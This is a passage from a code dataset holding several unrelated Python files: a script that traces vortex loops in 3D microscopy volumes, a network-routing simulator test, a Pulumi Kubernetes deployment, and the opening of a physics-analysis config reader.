self.pt_lst = []\n self.redraw()\n\n def connect_sf(self):\n if self.cid is None:\n self.cid = self.canvas.mpl_connect('button_press_event', self.click_event)\n\n # def disconnect_sf(self):\n # if self.cid is not None:\n # self.canvas.mpl_disconnect(self.cid)\n # self.cid = None\n\n def click_event(self, event):\n \"\"\" Extracts locations from the user\"\"\"\n if event.key == 'shift':\n # Shift + click to remove all selections\n print('cleared click events')\n self.clear()\n return\n if event.xdata is None or event.ydata is None:\n return\n if event.button == 1:\n print('click event: xdata = %f, ydata= %f' % (event.xdata, event.ydata))\n self.pt_lst.append((event.xdata, event.ydata))\n elif event.button == 3:\n # Right click to remove selected pt\n print('removed click event near: data = %f, ydata = %f' % (event.xdata, event.ydata))\n self.remove_pt((event.xdata, event.ydata))\n\n self.redraw()\n\n def remove_pt(self, loc):\n \"\"\" Removes point from pt_lst that is nearest to loc\"\"\"\n if len(self.pt_lst) > 0:\n self.pt_lst.pop(argmin([sqrt((x[0] - loc[0]) ** 2 + (x[1] - loc[1]) ** 2) for x in self.pt_lst]))\n\n def redraw(self):\n \"\"\" Scatter points from pt_lst onto the figure\"\"\"\n if len(self.pt_lst) > 0:\n pts = asarray(self.pt_lst)\n else:\n pts = []\n\n self.pt_plot.set_offsets(pts)\n self.canvas.draw()\n\ndef Power(x, n): return x ** n\ndef Sqrt(x): return x ** (1. / 2.)\ndef atan(x): return arctan(x)\n\n\ndef check_encoder_info(sparse_file):\n \"\"\"\n Checks for existence of processed encoder speed files. If they don't exist they are generated.\n Parameters\n ----------\n sparse_file : str\n The sparse file_name.\n\n \"\"\"\n base, fyle = os.path.split(sparse_file)\n name, ext = os.path.splitext(fyle)\n name_parts = name.split('_')\n yyyy_mm_dd = name_parts[0] + '_' + name_parts[1] + '_' + name_parts[2]\n cart_info_dir = os.path.join(base, yyyy_mm_dd)\n\n if not os.path.isfile(os.path.join(cart_info_dir, name + '_position_data_info.pickle')):\n os.system('python process_encoder_speeds.py ' + cart_info_dir)\n\n\ndef check_for_path(sparse_file, frame):\n \"\"\"Check to see if the path exists for the given frame.\n\n Parameters\n ----------\n sparse_file : str\n The sparse file name.\n frame : int\n The desired frame.\n\n Returns\n -------\n exists : bool\n True if it exists, false otherwise\n \"\"\"\n\n fn = get_path_name(frame, sparse_file)\n if os.path.exists(fn):\n return True\n else:\n return False\n\n\ndef check_trace(lines_xyz):\n \"\"\"Check for an improperly generated tangle object\n\n Parameters\n ----------\n lines_xyz : array\n Nx3 array of points from which a Tangle will be generated\n\n Returns\n -------\n exists : bool\n True if lines_xyz is sensible, false otherwise\n \"\"\"\n\n t = path.Tangle(lines_xyz)\n for p in t:\n if math.isnan(p.L):\n return False\n return True\n\n\ndef check_trace_with_statistics(sparse_file):\n \"\"\"Update the log after the first round of connecting points, using the length variance to select\n which frames were not traced well. Also confirm that tangles were generated properly by check that path\n lengths are not NaN of Infinity\n\n Parameters\n ----------\n sparse_file : str\n The sparse file_name.\n \"\"\"\n\n log_path = os.path.splitext(sparse_file)[0] + '_log.json'\n with open(log_path, 'r') as log_file:\n data = json.load(log_file)\n # frames = []\n # lengths = []\n for f in data['length']:\n # frames.append(f)\n # lengths.append(data['length'][f])\n\n if len(data['frames']):\n last_good_frame = None\n i = 0\n while last_good_frame is None:\n if data['frames'][str(int(f) - i)] == 'good':\n last_good_frame = str(int(f) - i)\n i += 1\n else:\n data['frames'][f] = 'good'\n\n path_diff = (data['length'][f] - data['length'][last_good_frame]) / data['length'][last_good_frame]\n if abs(path_diff) > 0.1:\n data['frames'][f] = 'bad'\n else:\n data['frames'][f] = 'good'\n\n out_file = open(os.path.splitext(sparse_file)[0] + '_log.json', 'w')\n json.dump(data, out_file)\n out_file.close()\n # sigma = std(lengths)\n # n = 6\n # windowed_mean = []\n # for i, l in enumerate(lengths):\n # if i < n:\n # windowed_mean.append(mean(lengths[0:n-1]))\n # elif i > len(lengths) - n:\n # windowed_mean.append(mean(lengths[-n:-1]))\n # else:\n # windowed_mean.append(mean(lengths[i-(n/2):i+(n/2)]))\n #\n # for i, fl in enumerate(zip(frames, lengths)):\n # if windowed_mean[i] - 2*sigma < fl[1] < windowed_mean[i] + 2*sigma:\n # update_log(sparse_file, fl[0], 'frames', 'good')\n # else:\n # update_log(sparse_file, fl[0], 'frames', 'bad')\n #\n # path_dir = get_sparse_subdir(sparse_file, 'paths')\n # tangles = glob.glob(os.path.join(path_dir, '*.json'))\n # for t in tangles:\n # frame = str(int(t.split('_')[-1][0:3]))\n # T = path.load_tangle(t)\n # for p in T:\n # if math.isnan(p.L) or math.isinf(p.L):\n # update_log(sparse_file, frame, 'frames', 'bad')\n\n\ndef directed_fast_march(raw_data, seed_points, SEEDS_PER_PATH):\n lines = []\n N = len(seed_points)\n\n if N / SEEDS_PER_PATH != int(N / SEEDS_PER_PATH):\n print(\"WARNING -- NUMBER OF SEED POINTS PER PATH MUST BE %d\" % SEEDS_PER_PATH)\n\n Npaths = N / SEEDS_PER_PATH\n\n for j in range(Npaths):\n\n loop = []\n\n for i in range(SEEDS_PER_PATH):\n\n source = seed_points[i + j * SEEDS_PER_PATH]\n target = seed_points[(i + 1) % SEEDS_PER_PATH + j * SEEDS_PER_PATH]\n\n zr, yr, xr = [x.flatten() for x in mgrid[-1:2, -1:2, -1:2]]\n rr = array([xr, yr, zr]).T\n tp = vstack([t + rr for t in [target]])\n\n dist_map = msfm3d(raw_data + 10E-5, source, terminate=4E5, term_points=tp, usesecond=False, usecross=False,\n tp_error=False)\n\n line = trace_line(dist_map, target, source, step=LINE_TRACE_STEP, max_steps=4000)\n\n if line is not None:\n line = line[::-1]\n else:\n return []\n\n loop.append(line[:-1])\n\n lines.append(vstack(loop))\n\n return lines\n\n\ndef filter_raw_data(S4D, frame, blur=1.0):\n \"\"\"Blur the S4D volume to make sure that fast marching doesn't get stuck.\n\n Parameters\n ----------\n S4D : an S4D object\n The S4D object containing the volume you want to blur.\n frame : int\n The frame of the volume you want to blur.\n blur : float, optional (default = 1.0)\n The sigma value for the gaussian blur.\n\n Returns\n -------\n raw_data : [X,Y,Z] array (floats)\n An array of the blurred intensity values of the volume from the S4D.\n \"\"\"\n\n raw_data = S4D[frame].astype('f')\n raw_data *= 1. / raw_data.max()\n raw_data = ndimage.filters.gaussian_filter(raw_data, blur)\n\n return raw_data\n\n\ndef fmt_time(t):\n \"\"\"Converts time to a human readable format\"\"\"\n return '%dhr:%02dmin:%02dsec' % (int(t / 3600.), int(t / 60.) % 60, int(t) % 60)\n\n\ndef get_sparse_subdir(sparse_name, dirname):\n \"\"\"Get a subdir inside the main sparse data directory. Will make the requested dir if\n it doesn't exist.\n\n Parameters\n ----------\n sparse_name : str\n The file name of the sparse for the experiment\n dir_name : str\n The name of the subdir.\n\n Returns\n -------\n subdir : str\n The full path for the subdir.\n \"\"\"\n\n name = os.path.splitext(sparse_name)[0]\n if not os.path.exists(name): os.mkdir(name)\n subdir = os.path.join(name, dirname)\n if not os.path.exists(subdir): os.mkdir(subdir)\n return subdir\n\n\ndef get_loop_length(loop_xyz):\n \"\"\"\n\n Parameters\n ----------\n loop_xyz\n\n Returns\n -------\n\n \"\"\"\n return sum(vector.mag(vector.plus(loop_xyz) - loop_xyz))\n\n\ndef get_path_name(frame, sparse_file):\n \"\"\"Get the path file name for a given frame and sparse file.\n\n Parameters\n ----------\n frame : int\n The frame\n sparse_file : str\n The sparse file name.\n\n Returns\n -------\n path_fn : str\n The file name for the path .json file\n \"\"\"\n\n path_dir = get_sparse_subdir(sparse_file, 'paths')\n base, fyle = os.path.split(sparse_file)\n name = os.path.splitext(fyle)[0]\n\n return os.path.join(path_dir, name + '_paths_%03d.json' % frame)\n\n\ndef get_total_loop_length(loops_xyz):\n \"\"\"\n\n Parameters\n ----------\n loops_xyz\n\n Returns\n -------\n\n \"\"\"\n lengths = list(map(get_loop_length, loops_xyz))\n return sum(lengths)\n\n\ndef make_log(sparse_file):\n \"\"\"Make a log file for the given experiment to record the progress and success/failure\n of the tracing algorithm.\n\n Parameters\n ----------\n sparse_file : str\n The sparse file_name.\n \"\"\"\n\n if not os.path.isfile(os.path.splitext(sparse_file)[0] + '_log.json'):\n data = {'info': os.path.splitext(sparse_file)[0], 'frames': {}, 'length': {}}\n out_file = open(os.path.splitext(sparse_file)[0] + '_log.json', 'w')\n json.dump(data, out_file)\n out_file.close()\n\n print('log generated for ' + sparse_file[:-7])\n\n\ndef perspective_correct(lines_xyz, setup_info):\n \"\"\"Perspective correct multiple paths at once.\n\n Parameters\n ----------\n lines_xyz : list ([N,3] arrays of floats)\n A list of all line segments represented by the ordered (x,y,z) points on the paths.\n setup_info : str\n The 3dsetup information from the s4d header.\n\n Returns\n -------\n lines_xyz : list ([N,3] array of floats)\n A list of perspetive corrected paths.\n \"\"\"\n\n for i, l in enumerate(lines_xyz): lines_xyz[i] = perspective_invert(l, setup_info)\n return lines_xyz\n\n\ndef perspective_invert(X, setup_info, suppress_output=True):\n \"\"\"Correct for the perspective of the camera and laser scanner.\n\n Parameters\n ----------\n X : [N,3] array\n A closed path that you want to persepctive correct.\n setup_info : str\n The 3dsetup information from the s4d header.\n\n Returns\n -------\n corrected_X : [N,3] array\n The perspective corrected path.\n \"\"\"\n\n if suppress_output:\n setup_info = setup_info.replace('print ', '')\n\n exec(setup_info)\n\n re_X = X - (frame_shape[0] / 2., frame_shape[1] / 2., x_size / 2.)\n re_X = re_X / (x_size / 2.)\n xp = re_X[..., 0]\n yp = re_X[..., 1]\n zp = re_X[..., 2]\n\n x = (xp * (-(x_xz * y_yz * zp) + x_xz * yp * z_yz + x_xz * y_y * z_z - 2 * x_x * y_yz * z_z +\n x_xz * Sqrt(4 * y_yz * (y_y * zp - yp * z_y) * z_z + Power(-(y_yz * zp) + yp * z_yz + y_y * z_z, 2)))\n ) / (2. * (Power(x_xz, 2) * (y_y * zp - yp * z_y) - Power(x_x, 2) * y_yz * z_z +\n x_x * x_xz * (-(y_yz * zp) + yp * z_yz + y_y * z_z)))\n\n y = (y_yz * zp - yp * z_yz + y_y * z_z - Sqrt(4 * y_yz * (y_y * zp - yp * z_y) * z_z +\n Power(-(y_yz * zp) + yp * z_yz + y_y * z_z, 2))) / (\n 2 * y_yz * z_y - 2 * y_y * z_yz)\n\n z = (y_yz * zp - yp * z_yz - y_y * z_z + Sqrt(4 * y_yz * (y_y * zp - yp * z_y) * z_z +\n Power(-(y_yz * zp) + yp * z_yz + y_y * z_z, 2))) / (2. * y_yz * z_z)\n\n pc_X = asarray([x, y, z]).T\n\n return pc_X * (x_size / 2.) + (frame_shape[0] / 2., frame_shape[1] / 2., x_size / 2.)\n\n\ndef plot_lengths(sparse_file):\n path_dir = get_sparse_subdir(sparse_file, 'paths')\n tangles = glob.glob(os.path.join(path_dir, '*.json'))\n tangles.sort()\n lengths = []\n frames = []\n ticks = []\n for i, tangle in enumerate(tangles):\n t = path.load_tangle(tangle)\n lengths.append(t.L)\n frame = int(tangle.split('_')[-1].split('.json')[0])\n frames.append(frame)\n plt.scatter(frame, t.L)\n if i != 0:\n if abs(t.L[0] - lengths[i - 1][0]) / t.L[0] > 0.1:\n ticks.append(frame)\n plt.plot(frames, lengths)\n plt.xticks(ticks)\n plt.savefig(os.path.join(path_dir, 'lengths.png'))\n plt.close()\n\n\ndef propagate_seed_points(raw_data, old_seed_points, window=3):\n \"\"\"\n Determine location of seed points in the next frame of an S4D based upon brightness and previous seed locations\n Parameters\n ----------\n raw_data : [X,Y,Z] array (floats)\n An array of the blurred intensity values of the volume from the S4D\n old_seed_points : [X,Y,Z] array (ints)\n Locations of seed points in an S4D\n window : int\n Size of the window around each element in old_seed_points. This is passed to argmax_neighborhood which then\n selects the brightest pixel in the window to be the propagated seed point.\n\n Returns\n -------\n [X,Y,Z] array (ints)\n Locations of seed points in an S4D\n \"\"\"\n xs, ys = old_seed_points[:, 0], old_seed_points[:, 1]\n width = (raw_data.shape[0] / 2, window, window)\n z, y, x = asarray([argmax_neighborhood(raw_data, (width[0], x[1], x[0]), width) for x in zip(xs, ys)],\n dtype='float').T\n\n return asarray([x, y, z]).T\n\n\ndef select_seed_points(raw_data, axis=0, fig_size=10, window=3):\n \"\"\"\n GUI for selecting seed points\n Parameters\n ----------\n raw_data : [X,Y,Z] array (floats)\n An array of the blurred intensity values of the volume from the S4D\n axis : int\n The axis you want to project the 3D raw_data onto\n fig_size : int\n Dimension of the square figure the raw_data is projected onto\n window : int\n Size of the window around each mouse-click event. The brightest pixel in each window\n is then taken to be a seed point.\n\n Returns\n -------\n [X,Y,Z] array (ints)\n Locations of seed points in an S4D\n \"\"\"\n fig = plt.figure(figsize=(fig_size, fig_size))\n fig.add_subplot(111)\n plt.imshow(raw_data.max(axis), cmap=cmap)\n plt.axis('off')\n guidepost = Clicker(plt.gca())\n plt.show()\n\n xs, ys = list(zip(*guidepost.pt_lst))\n width = (raw_data.shape[0] / 2, window, window)\n z, y, x = asarray([argmax_neighborhood(raw_data, (width[0], x[1], x[0]), width) for x in zip(xs, ys)],\n dtype='float').T\n\n return asarray([x, y, z]).T\n\n\ndef save_snapshot(s4d, frame, lines_xyz, sparse_file):\n \"\"\"Saves a projection of the completed trace.\n\n Parameters\n ----------\n s4d : s4d object\n The s4d object containing all the volumes from the experiment.\n frame : int\n The frame of the s4d.\n lines_xyz : list ([N,3] arrays of floats)\n Closed loops.\n sparse_file : str\n The file name of the sparse file for the experiment.\n \"\"\"\n\n proj_dir = get_sparse_subdir(sparse_file, 'path_proj')\n sparse_name = os.path.splitext(os.path.split(sparse_file)[-1])[0]\n fn = os.path.join(proj_dir, sparse_name + '_paths_%03d.png' % frame)\n\n plt.figure(figsize=(10, 10))\n plt.imshow(s4d[frame].sum(0), cmap=cmap)\n plt.axis('off')\n for i, X in enumerate(lines_xyz):\n plt.plot(X[:, 0], X[:, 1], color='r', linestyle=LINE_STYLES[i], lw=1)\n\n plt.gcf()\n plt.savefig(fn, bbox_inches='tight')\n plt.close()\n\n\ndef save_trace(frame, lines_xyz, setup_info, sparse_file,\n info=['PC', 'scaled', 'scale', 'rate', 'cart_speed', 'cart_acceleration', 'cart_acc_time',\n 'cart_stroke_len']):\n \"\"\"Save the trace as a tangle object in a .json file with optional additional info stored in the info attribute.\n **This contains an algorithm for reorienting paths so the moment points in the direction of travel**\n Parameters\n ----------\n frame : int\n The frame for the volume\n lines_xyz : list ([N,3] arrays of floats)\n A list of all line segments represented by the ordered (x,y,z) points on the paths.\n setup_info : str\n The 3dsetup information from the s4d header.\n sparse_file : str\n The file name of the sparse file.\n info : list (strings), optional (default = ['PC', 'scaled', 'scale', 'rate', 'cart_speed', 'cart_acceleration', 'cart_acc_time',\n 'cart_stroke_len'])\n Fields for the optional information. In addition to the default information, 'hydrofoil_info' is also recognized if information\n about the hydrofoil used to generate the path should be stored in the .json. Note that this requires that there be a corresponding\n entry in the hydrofoil codex.\n \"\"\"\n\n T = path.Tangle(lines_xyz)\n for p in T:\n if p.moment()[2] < 0:\n p.path = p.path[::-1]\n\n if 'PC' in info:\n T.info['PC'] = PC\n if 'scaled' in info:\n T.info['scaled'] = SCALED\n\n exec (setup_info)\n\n if 'scale' in info:\n T.info['scale'] = scale\n if 'rate' in info:\n T.info['rate'] = rate\n\n base, fyle = os.path.split(sparse_file)\n name, ext = os.path.splitext(fyle)\n name_parts = name.split('_')\n yyyy_mm_dd = name_parts[0] + '_' + name_parts[1] + '_' + name_parts[2]\n cart_info_dir = os.path.join(base, yyyy_mm_dd)\n pickle_file = os.path.join(cart_info_dir, name + '_position_data_info.pickle')\n info_dict = pickle.load(open(pickle_file))\n\n if 'cart_speed' in info: T.info['cart_speed'] = info_dict['speed']\n if 'cart_acceleration' in info: T.info['cart_acceleration'] = info_dict['acceleration']\n if 'cart_acc_time' in info: T.info['cart_acc_time'] = info_dict['acc_time']\n if 'cart_stroke_len' in info: T.info['cart_stroke_len'] = info_dict['stoke_len']\n\n if 'hydrofoil_info' in info:\n hydrofoil_codex = json.load(open(HYDROFOIL_CODEX_JSON))\n hydrofoil_code = name_parts[3]\n if hydrofoil_code in list(hydrofoil_codex.keys()):\n hydrofoil_info = hydrofoil_codex[hydrofoil_code]\n for k, v in zip(list(hydrofoil_info.keys()), list(hydrofoil_info.values())):\n T.info['hydrofoil_' + k] = v\n T.info['hydrofoil_code'] = hydrofoil_code\n\n fn = get_path_name(frame, sparse_file)\n T.save(fn)\n\n\ndef update_log(sparse_file, frame, key, status):\n \"\"\"Update the tracing log\n\n Parameters\n ----------\n sparse_file : str\n The sparse file_name.\n frame : int\n The frame.\n key : str\n The key for the feature.\n status : str\n The status, perhaps the length or ('good' or 'bad'), depending on the key\n \"\"\"\n log_path = os.path.splitext(sparse_file)[0] + '_log.json'\n with open(log_path, 'r') as log_file:\n data = json.load(log_file)\n data[key][frame] = status\n os.remove(log_path)\n with open(log_path, 'w') as log_file:\n json.dump(data, log_file)\n\n\ndef organize_lines(lines_xyz, sparse_file, f, kind):\n \"\"\"Sort loops found from fast marching with loops from the previous frames\n\n Parameters\n ----------\n lines_xyz : list ([N,3] arrays of floats)\n Closed loops.\n sparse_file : str\n The sparse file name.\n frame : int\n The frame\n kind : str\n The sorting method\n\n Returns\n -------\n lines_xyz : list ([N,3] arrays of floats)\n Closed loops.\n \"\"\"\n i = 1\n while i < 11:\n fn = get_path_name(f - i, sparse_file)\n if os.path.exists(fn):\n print('i == ', i)\n T_last = path.load_tangle(fn)\n if len(T_last) != len(lines_xyz):\n i += 1\n continue\n lines = list(lines_xyz)\n lines = perspective_correct(lines, setup_info)\n T_current = path.Tangle(lines)\n if kind == 'Writhe':\n print('Checking Writhe Diffs')\n writhe_diffs = [T_current.crossing_matrix()[0].sum(1)[0] - wr for wr in\n T_last.crossing_matrix()[0].sum(1)]\n if writhe_diffs[0] < writhe_diffs[1]:\n return lines_xyz\n else:\n return lines_xyz[::-1]\n if kind == 'Length':\n print('Checking Length Diffs')\n len_diffs = [T_current.L[0] - l for l in T_last.L]\n if len_diffs[0] < len_diffs[1]:\n return lines_xyz\n else:\n return lines_xyz[::-1]\n if kind == 'Center':\n print('Checking Center Diffs')\n center_diffs = [T_current[0].center() - c for c in [p.center() for p in T_last]]\n r1 = sqrt(asarray([p ** 2 for p in center_diffs[0]]).sum()) # print 'zero ', center_diffs[0].sum()\n r2 = sqrt(asarray([p ** 2 for p in center_diffs[1]]).sum()) # print 'one ', center_diffs[1].sum()\n if r1 < r2:\n return lines_xyz\n else:\n return lines_xyz[::-1]\n else:\n print('Sorting Method Not Specified!')\n return lines_xyz\n else:\n i += 1\n continue\n\n print('No Comparison Path Within Range')\n return lines_xyz\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Automated but not robust line tracing. Uses ridge points as input')\n parser.add_argument('input', metavar='input', type=str, nargs='+', default=None, help='.sparse files')\n parser.add_argument('-frames', dest='frames', type=str, nargs='+', default=None,\n help='Frames to be processed. Use the standard python slice notation. One input with multiple'\n 'sparse files will apply that frame range to every sparse. Multiple inputs will apply the'\n 'frame range to the respective sparse file.')\n parser.add_argument('-seeds', dest='seeds', type=int, default=5, help='number of seed points per path')\n parser.add_argument('-sort_key', dest='sort_key', type=str, default='Writhe', help='key for sorting paths')\n parser.add_argument('--overwrite', dest='overwrite', action='store_true', default=False,\n help='Overwrite previously traced paths')\n\n # START TIMER\n start = time.time()\n\n # PARSE COMMAND LINE INPUTS\n args = parser.parse_args()\n sparse_files = args.input\n seeds = args.seeds\n kind = str(args.sort_key)\n overwrite = args.overwrite\n\n # PARSE WHETHER OR NOT THE FRAMES ARE THE SAME FOR EACH SPARSE FILE\n frames = []\n if len(args.frames) == 1 and ',' not in args.frames[0]:\n for sparse_file in sparse_files:\n frames.append(eval('x[%s]' % args.frames[0], {'x': list(range(1000))}))\n elif len(args.frames) == len(sparse_files) and ',' not in args.frames[0]:\n for f in args.frames:\n frames.append(eval('x[%s]' % f, {'x': list(range(1000))}))\n elif ',' in args.frames[0]:\n for sparse_file in sparse_files:\n temp_frames = []\n for f in args.frames[0].split(','):\n temp_frames.append(int(f))\n frames.append(temp_frames)\n else:\n sys.exit('Number of input sparse files does not match number of frames options')\n\n # PROCESS ENCODER INFO IF IT DOESN'T ALREADY EXIST\n check_encoder_info(sparse_files[0])\n\n # LOAD .S4D FILES AND SELECT INITIAL SEED POINTS VIA GUI\n initial_seed_points = []\n\n for sparse_file in sparse_files:\n s4d_file = sparse_file[:-7] + '.s4d'\n s4d = sparse.Sparse4D(s4d_file)\n raw_data = filter_raw_data(s4d, frames[0][0])\n seed_points = select_seed_points(raw_data)\n initial_seed_points.append(seed_points)\n for i, sparse_file in enumerate(sparse_files):\n\n # LOAD THE SETUP INFO\n s4d_file = os.path.splitext(sparse_file)[0] + '.s4d'\n s4d = sparse.Sparse4D(s4d_file)\n setup_info = s4d.header['3dsetup']\n\n # GENERATE THE LOG FILE\n # make_log(sparse_file)\n\n # PROPAGATE SEED POINTS AND TRACE PATHS\n propagated_seed_points = [initial_seed_points[i]]\n for j, f in enumerate(frames[0]):\n\n # CHECK TO SEE IF THE PATH EXISTS FOR THIS FRAME\n path_existence = check_for_path(sparse_file, f)\n print('Working on Frame ', f)\n if j > 0:\n k = frames[0][j-1] + 1\n while f > k:\n print('Propagating points through frame ', k)\n raw_data = filter_raw_data(s4d, k)\n new_seed_points = propagate_seed_points(raw_data, propagated_seed_points[-1])\n propagated_seed_points.append(new_seed_points)\n k += 1\n\n if not path_existence or (path_existence and overwrite):\n\n # ATTEMPT TO TRACE PATH\n raw_data = filter_raw_data(s4d, f)\n new_seed_points = propagate_seed_points(raw_data, propagated_seed_points[-1])\n propagated_seed_points.append(new_seed_points)\n lines = directed_fast_march(raw_data, propagated_seed_points[-1], seeds)\n\n # LOG BAD FRAME IF A CLOSED PATH COULDN'T BE TRACED\n if not lines:\n # update_log(sparse_file, f, 'frames', 'bad')\n print('No Closed Path Found')\n\n # SAVE IF A CLOSED PATH WAS FOUND\n else:\n if len(lines) > 1:\n lines = organize_lines(lines, sparse_file, f, kind)\n save_snapshot(s4d, f, lines, sparse_file)\n lines = perspective_correct(lines, setup_info)\n if check_trace(lines):\n save_trace(f, lines, setup_info, sparse_file)\n else:\n attempt = 1\n while attempt < 3:\n print('Attempt: ' + str(attempt))\n lines = directed_fast_march(raw_data, propagated_seed_points[-1] + attempt * EPSILON, seeds)\n if len(lines) > 1:\n lines = organize_lines(lines, sparse_file, f, kind)\n save_snapshot(s4d, f, lines, sparse_file)\n lines = perspective_correct(lines, setup_info)\n if check_trace(lines):\n save_trace(f, lines, setup_info, sparse_file)\n break\n else:\n attempt += 1\n # path_length = get_total_loop_length(lines)\n # update_log(sparse_file, f, 'length', path_length)\n print('Closed Path Traced')\n\n # SKIP FRAME IF PATH EXISTS AND OVERWRITE WAS NOT SPECIFIED\n else:\n # raw_data = filter_raw_data(s4d, f)\n # new_seed_points = propagate_seed_points(raw_data, propagated_seed_points[-1])\n # propagated_seed_points.append(new_seed_points)\n print('Path Already Traced... Skipping Frame ', f)\n continue\n\n # UPDATE LOG\n # check_trace_with_statistics(sparse_file)\n plot_lengths(sparse_file)\n print('Finished Tracing in Sparse File ', sparse_file)\n print('Done in %s' % fmt_time(time.time() - start))\n","sub_path":"basics/connect_points_simple.py","file_name":"connect_points_simple.py","file_ext":"py","file_size_in_byte":28647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"31114435","text":"\"\"\"\n\n@658 on Piazza\nhttps://piazza.com/class/iq6sgotn6pp37f?cid=658\n\n\n\"\"\"\n\nimport sim\nimport sim.api as api\nimport sim.basics as basics\nimport sys\n\nfrom tests.test_simple import GetPacketHost, NoPacketHost\n\n\nclass SwitchableCountingHub(api.Entity):\n pings = 0\n enabled = True\n\n def handle_rx(self, packet, in_port):\n if self.enabled:\n self.send(packet, in_port, flood=True)\n # if not isinstance(packet, basics.Ping):\n # api.userlog.debug('%s saw a packet: %s' % (self.name, packet))\n if isinstance(packet, basics.Ping):\n api.userlog.debug('%s saw a ping' % (self.name, ))\n self.pings += 1\n\ndef launch():\n\n h1 = NoPacketHost.create('h1')\n h2 = GetPacketHost.create('h2')\n\n s1 = sim.config.default_switch_type.create('s1')\n s2 = sim.config.default_switch_type.create('s2')\n\n c1 = SwitchableCountingHub.create('c1')\n\n s1.linkTo(h1, latency=1)\n s1.linkTo(h2, latency=5)\n s1.linkTo(c1, latency=1)\n s2.linkTo(c1, latency=1)\n s2.linkTo(h2, latency=1)\n\n def test_tasklet():\n yield 15 # wait for path convergence\n\n api.userlog.debug('Sending ping from h1 to h2')\n h1.ping(h2)\n\n yield 10 # wait for ping to go through\n\n if c1.pings != 1:\n api.userlog.error(\"Ping should have gone through c1\")\n sys.exit(1)\n\n # unlink s2\n s2.unlinkTo(c1)\n s2.unlinkTo(h2)\n s1.unlinkTo(c1)\n\n api.userlog.debug(\"bye bye s2\")\n\n\n yield 25 # wait for new route convergence\n api.userlog.debug('Sending ping from h1 to h2')\n h1.ping(h2)\n\n yield 10 # wait for ping to reach h2 again\n \n if c1.pings != 1:\n api.userlog.error(\"c1 shouldn't have seen another ping\")\n sys.exit(1)\n\n if h2.pings != 2:\n api.userlog.error(\"h2 should have seen the ping by now\")\n sys.exit(1)\n\n\n sys.exit(0)\n\n api.run_tasklet(test_tasklet)","sub_path":"projects/proj2_routing/tests/test_disconnect_658.py","file_name":"test_disconnect_658.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"607176812","text":"from pulumi import export, StackReference, Output, ResourceOptions\nfrom pulumi_kubernetes import Provider\nfrom pulumi_kubernetes.apps.v1 import Deployment\nfrom pulumi_kubernetes.core.v1 import Service, Namespace\nimport pulumi\n\n# Create StackReference to the Kubernetes cluster stack\nconfig = pulumi.Config()\nstackRef = config.require(\"clusterStackRef\");\ninfra = StackReference(f\"{stackRef}\")\n\n# Declare a provider using the KubeConfig we created\n# This will be used to interact with the EKS cluster\nk8s_provider = Provider(\"k8s-provider\", kubeconfig=infra.get_output(\"kubeconfig\"))\n\n# Create a Namespace object https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/\nns = Namespace(\"app-ns\",\n metadata={\n \"name\": \"joe-duffy\",\n },\n opts=ResourceOptions(provider=k8s_provider)\n)\n\napp_labels = {\n \"app\": \"iac-workshop\"\n}\napp_deployment = Deployment(\"app-dep\",\n metadata={\n \"namespace\": ns.metadata[\"name\"]\n },\n spec={\n \"selector\": {\n \"match_labels\": app_labels,\n },\n \"replicas\": 3,\n \"template\": {\n \"metadata\": {\n \"labels\": app_labels,\n },\n \"spec\": {\n \"containers\": [{\n \"name\": \"iac-workshop\",\n \"image\": \"jocatalin/kubernetes-bootcamp:v2\",\n }],\n },\n },\n },\n opts=ResourceOptions(provider=k8s_provider)\n)\n\nservice = Service(\"app-service\",\n metadata={\n \"namespace\": ns.metadata[\"name\"],\n \"labels\": app_labels\n },\n spec={\n \"ports\": [{\n \"port\": 80,\n \"target_port\": 8080,\n }],\n \"selector\": app_labels,\n \"type\": \"LoadBalancer\",\n },\n opts=ResourceOptions(provider=k8s_provider)\n)\n\nexport('url', Output.all(service.status['load_balancer']['ingress'][0]['hostname'], service.spec['ports'][0]['port']) \\\n .apply(lambda args: f\"http://{args[0]}:{round(args[1])}\"))\n","sub_path":"labs/aws/in-person/python/lab-05/code/step6.py","file_name":"step6.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"489885080","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport BetterConfigParser\nimport os\nimport inspect\nimport ROOT\nfrom itertools import ifilter\nfrom copytreePSI import filelist\nfrom FileLocator import FileLocator\nfrom sample_parser import ParseInfo\nfrom XbbTools import XbbTools\nimport numpy as np\n\nclass XbbRegion(object):\n\n def __init__(self, regionType, regionName, config=None):\n self.regionType = regionType\n self.regionName = regionName\n self.signals = []\n self.backgrounds = []\n self.data = []\n self.binningType = None\n self.binning = []\n self.type = []\n self.var = None\n self.cut = '1'\n\n def print(self):\n print('-'*80)\n print('region:', self.regionName, \"(\", self.regionType, \")\")\n print('var:', self.var)\n print('binning:', self.binning, \"(\", self.binningType, \")\")\n print('-'*80)\n\n def getConfigSection(self):\n if self.regionType in ['dc','datacards','shapes','shape']:\n return 'dc:' + self.regionName\n elif self.regionType in ['plot']:\n return 'Plot:' + self.regionName\n else:\n return self.regionName\n\n def readFromConfig(self, config):\n configSection = self.getConfigSection()\n if config.has_section(configSection):\n self.var = config.get(configSection, 'var')\n self.binningType = config.get(configSection, 'rebin_method') if config.has_option(configSection, 'rebin_method') else 'range'\n if self.binningType in ['list', 'fixed']:\n self.binning = np.array(eval(config.get(configSection, 'rebin_list')))\n elif self.binningType in ['range']:\n r = config.get(configSection, 'range').strip().split(',')\n self.binning = np.linspace(float(r[1]),float(r[2]),int(r[0])+1)\n self.signals = config.getSamples(eval(config.get(configSection, 'signal')))\n self.backgrounds = config.getSamples(eval(config.get(configSection, 'background')))\n self.data = config.getSamples(eval(config.get(configSection, 'data')))\n if config.has_option(configSection, 'type'):\n self.type = config.get(configSection, 'type')\n if config.has_option(configSection, 'cut'):\n self.cut = config.get(configSection, 'cut')\n else:\n self.cut = self.regionName\n\n def getMC(self):\n return self.signals + self.backgrounds\n\n def getData(self):\n return self.data\n\n def getCut(self):\n return self.cut\n\n# helper class to read full config object\n# use:\n# config = XbbConfigReader.read('Zll2017')\nclass XbbConfigReader(object):\n\n def __init__(self):\n self.config = None\n\n @staticmethod\n def read(configTag):\n\n configDirectory = configTag + 